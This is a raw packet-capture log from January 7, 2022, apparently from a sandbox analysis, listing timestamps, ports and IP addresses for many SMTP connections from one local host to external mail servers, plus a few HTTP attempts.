Jan 7, 2022 15:57:15.329591036 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.371473074 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.371694088 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.413307905 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.413419008 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.413450956 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.454318047 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.454351902 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.454461098 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.454560995 CET	25	49881	104.47.17.74	192.168.2.4
Jan 7, 2022 15:57:15.454612017 CET	49881	25	192.168.2.4	104.47.17.74
Jan 7, 2022 15:57:15.484677076 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.485294104 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.488290071 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.488771915 CET	25	49877	34.223.6.127	192.168.2.4
Jan 7, 2022 15:57:15.488841057 CET	49877	25	192.168.2.4	34.223.6.127
Jan 7, 2022 15:57:15.500360966 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.502826929 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.511238098 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.513448000 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.518062115 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.519093037 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.534029961 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.537031889 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.537648916 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.537666082 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.541676044 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.541843891 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.553133965 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.553303003 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.553677082 CET	25	49883	194.97.150.230	192.168.2.4
Jan 7, 2022 15:57:15.556231022 CET	49883	25	192.168.2.4	194.97.150.230
Jan 7, 2022 15:57:15.568284035 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.570857048 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.571014881 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.598021984 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.598959923 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.620999098 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:15.631026983 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.631593943 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.631727934 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.632074118 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.632086039 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.658844948 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.658879995 CET	25	49882	142.250.145.27	192.168.2.4
Jan 7, 2022 15:57:15.658936977 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.658982038 CET	49882	25	192.168.2.4	142.250.145.27
Jan 7, 2022 15:57:15.684175968 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.686315060 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.740283012 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.740418911 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.777736902 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:15.781658888 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:15.792253017 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.795114994 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.795274973 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.817362070 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:15.847682953 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.848251104 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.905704975 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.907218933 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.907399893 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.907433033 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.909533024 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.959805965 CET	25	49884	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.961627960 CET	49884	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:15.961796999 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:15.962824106 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.016287088 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.016412020 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.068404913 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.071609974 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.072019100 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.124953032 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.128223896 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.129400969 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.167499065 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:16.167669058 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:16.185899973 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.188260078 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.191445112 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.191622019 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.191843033 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.244081020 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.244115114 CET	25	49886	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:16.244283915 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.244307041 CET	49886	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:16.294610023 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.294815063 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.294857979 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.468240976 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:16.469311953 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:16.539057016 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.539599895 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.642715931 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.649339914 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.671698093 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:16.674228907 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:16.716595888 CET	49888	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:16.798975945 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.799084902 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.799228907 CET	25	49879	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.799349070 CET	49879	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:16.845262051 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:16.845396042 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:17.024653912 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:17.041606903 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:17.041750908 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:17.178363085 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:17.178483009 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:17.388690948 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:17.528780937 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:17.546194077 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:17.546366930 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:17.679452896 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:17.679569960 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:17.893843889 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.027348995 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.048038006 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.048259020 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.193865061 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.193989992 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:18.194026947 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:18.194273949 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.220765114 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.220871925 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.250515938 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.250619888 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.278407097 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.283775091 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.283917904 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.314412117 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.314517975 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.347671032 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.351005077 CET	49864	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:18.354037046 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.354209900 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.354232073 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.354516983 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.366575956 CET	49863	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:18.381241083 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.381274939 CET	25	49889	108.177.127.27	192.168.2.4
Jan 7, 2022 15:57:18.381341934 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.381361961 CET	49889	25	192.168.2.4	108.177.127.27
Jan 7, 2022 15:57:18.395795107 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.411803961 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.411951065 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.465428114 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.465552092 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.517816067 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.521748066 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.521845102 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.546046972 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.550210953 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.553733110 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.553867102 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.553905964 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.554533005 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.574429989 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.574567080 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.631558895 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.639830112 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.639965057 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.639998913 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.640343904 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.692648888 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.692682028 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.692698956 CET	25	49890	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.692735910 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.692790985 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.692796946 CET	49890	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.692825079 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.692909956 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.693859100 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.693944931 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:18.696192026 CET	25	49885	74.125.200.26	192.168.2.4
Jan 7, 2022 15:57:18.696278095 CET	49885	25	192.168.2.4	74.125.200.26
Jan 7, 2022 15:57:18.746134043 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.746361971 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.798291922 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.800481081 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.800599098 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.853221893 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.853358984 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.898775101 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.903897047 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.904082060 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:18.904170990 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.910548925 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.917582989 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.917676926 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.917710066 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.917958975 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:18.969990969 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.970016956 CET	25	49892	142.250.150.27	192.168.2.4
Jan 7, 2022 15:57:18.970067024 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:18.970101118 CET	49892	25	192.168.2.4	142.250.150.27
Jan 7, 2022 15:57:19.052818060 CET	25	49887	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.052922010 CET	49887	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.148113966 CET	49866	25	192.168.2.4	131.107.55.31
Jan 7, 2022 15:57:19.179122925 CET	49867	25	192.168.2.4	131.107.88.24
Jan 7, 2022 15:57:19.209353924 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.209441900 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.266096115 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.266231060 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.366694927 CET	49868	25	192.168.2.4	195.29.173.131
Jan 7, 2022 15:57:19.406533957 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.406680107 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.572232962 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.572418928 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.753909111 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.767205000 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.777725935 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:19.866728067 CET	49888	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:19.913486958 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:19.913803101 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.125652075 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.179239035 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:20.263432026 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.279937983 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.351146936 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.415543079 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.464114904 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.464145899 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.811727047 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.811822891 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.966495037 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.966650009 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.972747087 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:20.973007917 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:20.974128008 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:21.314872026 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.320523024 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.326508999 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.476608992 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.476670027 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.476828098 CET	25	49891	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:21.476857901 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:21.476922989 CET	49891	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:21.538768053 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:22.491905928 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:22.492352962 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:22.837798119 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:22.843353033 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:22.989289999 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:22.989491940 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:22.992965937 CET	25	49893	74.125.200.27	192.168.2.4
Jan 7, 2022 15:57:22.993103027 CET	49893	25	192.168.2.4	74.125.200.27
Jan 7, 2022 15:57:25.867281914 CET	49888	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:27.222567081 CET	49894	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:27.388017893 CET	49895	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:27.389431953 CET	49896	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:29.867531061 CET	49870	25	192.168.2.4	130.193.9.47
Jan 7, 2022 15:57:30.367599964 CET	49894	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:30.476988077 CET	49895	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:30.539505005 CET	49896	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:31.370475054 CET	49898	25	192.168.2.4	195.29.173.138
Jan 7, 2022 15:57:31.398216009 CET	25	49898	195.29.173.138	192.168.2.4
Jan 7, 2022 15:57:31.398782015 CET	49898	25	192.168.2.4	195.29.173.138
Jan 7, 2022 15:57:31.431921959 CET	25	49898	195.29.173.138	192.168.2.4
Jan 7, 2022 15:57:31.432270050 CET	25	49898	195.29.173.138	192.168.2.4
Jan 7, 2022 15:57:31.432296038 CET	49898	25	192.168.2.4	195.29.173.138
Jan 7, 2022 15:57:31.432320118 CET	49898	25	192.168.2.4	195.29.173.138
Jan 7, 2022 15:57:31.432466984 CET	49899	25	192.168.2.4	195.29.173.139
Jan 7, 2022 15:57:31.459897041 CET	25	49898	195.29.173.138	192.168.2.4
Jan 7, 2022 15:57:31.460052967 CET	25	49899	195.29.173.139	192.168.2.4
Jan 7, 2022 15:57:31.460151911 CET	49899	25	192.168.2.4	195.29.173.139
Jan 7, 2022 15:57:31.495079041 CET	25	49899	195.29.173.139	192.168.2.4
Jan 7, 2022 15:57:31.495199919 CET	49899	25	192.168.2.4	195.29.173.139
Jan 7, 2022 15:57:31.495649099 CET	25	49899	195.29.173.139	192.168.2.4
Jan 7, 2022 15:57:31.495714903 CET	49899	25	192.168.2.4	195.29.173.139
Jan 7, 2022 15:57:31.523024082 CET	25	49899	195.29.173.139	192.168.2.4
Jan 7, 2022 15:57:33.769062996 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:33.769452095 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:33.806030989 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:33.806158066 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:33.842690945 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:33.842854023 CET	49878	25	192.168.2.4	185.175.124.58
Jan 7, 2022 15:57:33.918936968 CET	25	49878	185.175.124.58	192.168.2.4
Jan 7, 2022 15:57:34.190944910 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:34.191199064 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:34.230494976 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:34.230679035 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:34.270131111 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:34.270489931 CET	49880	25	192.168.2.4	176.223.123.126
Jan 7, 2022 15:57:34.348623037 CET	25	49880	176.223.123.126	192.168.2.4
Jan 7, 2022 15:57:36.368078947 CET	49894	8080	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:36.477473021 CET	49895	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:36.649363995 CET	49896	80	192.168.2.4	193.166.255.171
Jan 7, 2022 15:57:37.999075890 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:38.036087990 CET	25	49901	131.111.8.149	192.168.2.4
Jan 7, 2022 15:57:38.036221981 CET	49901	25	192.168.2.4	131.111.8.149
Jan 7, 2022 15:57:38.051425934 CET	49902	25	192.168.2.4	51.81.57.58
Jan 7, 2022 15:57:38.070852995 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:38.154829025 CET	25	49902	51.81.57.58	192.168.2.4
Jan 7, 2022 15:57:38.156227112 CET	49902	25	192.168.2.4	51.81.57.58
Jan 7, 2022 15:57:38.164599895 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.191049099 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.192435980 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.221576929 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.222223997 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.248696089 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.250114918 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.250211000 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:38.252924919 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.253129005 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.278287888 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:38.280390978 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.280483961 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.311918020 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.322735071 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.322990894 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.323024988 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.323385954 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.323605061 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.341614008 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.342031956 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.351505995 CET	25	49905	108.177.119.26	192.168.2.4
Jan 7, 2022 15:57:38.351629972 CET	49905	25	192.168.2.4	108.177.119.26
Jan 7, 2022 15:57:38.373728037 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.376472950 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.376682997 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.376774073 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.394413948 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.400037050 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.400187016 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.423888922 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.424333096 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.430772066 CET	25	49903	216.200.145.235	192.168.2.4
Jan 7, 2022 15:57:38.430943012 CET	49903	25	192.168.2.4	216.200.145.235
Jan 7, 2022 15:57:38.430969954 CET	25	49908	142.250.150.26	192.168.2.4
Jan 7, 2022 15:57:38.432065010 CET	49908	25	192.168.2.4	142.250.150.26
Jan 7, 2022 15:57:38.438818932 CET	25	49907	173.228.157.39	192.168.2.4
Jan 7, 2022 15:57:38.438966036 CET	49907	25	192.168.2.4	173.228.157.39
Jan 7, 2022 15:57:38.450357914 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.453496933 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.471622944 CET	25	49909	185.132.181.97	192.168.2.4
Jan 7, 2022 15:57:38.471920967 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.472728014 CET	49909	25	192.168.2.4	185.132.181.97
Jan 7, 2022 15:57:38.483982086 CET	25	49908	142.250.150.26	192.168.2.4
